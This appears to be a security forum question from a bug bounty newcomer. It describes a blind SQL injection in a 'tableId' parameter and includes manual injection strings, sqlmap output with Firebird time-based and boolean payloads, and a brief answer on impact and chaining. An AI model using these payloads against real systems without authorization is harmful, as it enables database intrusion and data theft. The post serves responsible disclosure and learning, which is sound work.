I recently found a boolean-based blind SQLi and since I'm new to the bug bounty scene - I don't understand what impact I can extract from it.

There is a website like example.com/tarif?tableId=136&dbsource=gkcp&nf=undefined. The vulnerable parameter is tableId (the rest of the parameters are not vulnerable). If you add ' after the value, then you will get an internal server error. If you add '-- then the page will return 200, as if we didn't add anything.

I managed to get the number of columns by adding 'order by 5--, while 'UNION SELECT NULL, NULL, NULL, NULL, NULL-- returns an error.

This is the output sqlmap gave me:

Parameter: tableId (GET)    
Type: boolean-based blind   
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: tableId=1' AND 2059=2059 AND
Type: time-based blind    
Title: Firebird >= 2.0 AND time-based blind (heavy query)  
Payload: tableId=1' AND 3665=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4) AND 'VcZz'='VcZz&dbsource=gkcp&nf=undefined

[05:17:07] [INFO] the back-end DBMS is Firebird  
web server operating system: Windows 2022 or 2016 or 11 or 10 or 2019  
web application technology: ASP.NET 4.0.30319, Microsoft IIS 10.0, ASP.NET
back-end DBMS: Firebird >= 2.0

I would like to understand if it is possible to determine a vulnerability from this, whether there is an actual impact from this and whether it makes sense to report it to bug bounty author.

    If you managed to extract information you should not have access to, that is a vulnerability. Even vulnerabilities that seem insignificant on their own can be used together with other vulnerabilities in order to create a serious exploit. It's not uncommon for exploits to be built up from a chain of small vulnerabilities.
